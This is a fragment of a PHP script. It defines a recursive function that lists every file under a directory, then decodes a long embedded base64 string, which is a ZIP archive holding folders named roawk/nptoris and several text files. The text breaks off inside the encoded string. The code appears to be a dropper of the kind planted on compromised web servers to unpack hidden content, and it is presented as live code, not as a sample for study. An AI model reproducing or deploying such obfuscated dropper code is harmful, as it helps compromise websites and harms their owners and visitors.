$value){ $path = realpath($dir.DIRECTORY_SEPARATOR.$value); if(!is_dir($path)) { $results[] = $path; } else if($value != "." && $value != "..") { getDirContents($path, $results); $results[] = $path; } } return $results; } $data = base64_decode("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